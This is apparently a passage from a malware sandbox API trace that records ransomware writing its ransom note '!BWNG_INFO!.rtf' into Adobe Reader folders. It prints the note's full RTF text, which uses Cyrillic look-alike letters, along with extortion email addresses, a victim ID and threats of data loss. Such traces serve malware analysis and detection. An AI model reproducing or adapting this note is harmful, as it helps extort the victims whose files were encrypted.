m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.943] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.944] CloseHandle (hObject=0x1cc) returned 1 [0033.944] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\!bwng_info!.rtf")) returned 0xffffffff [0033.944] GetLastError () returned 0x2 [0033.944] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED 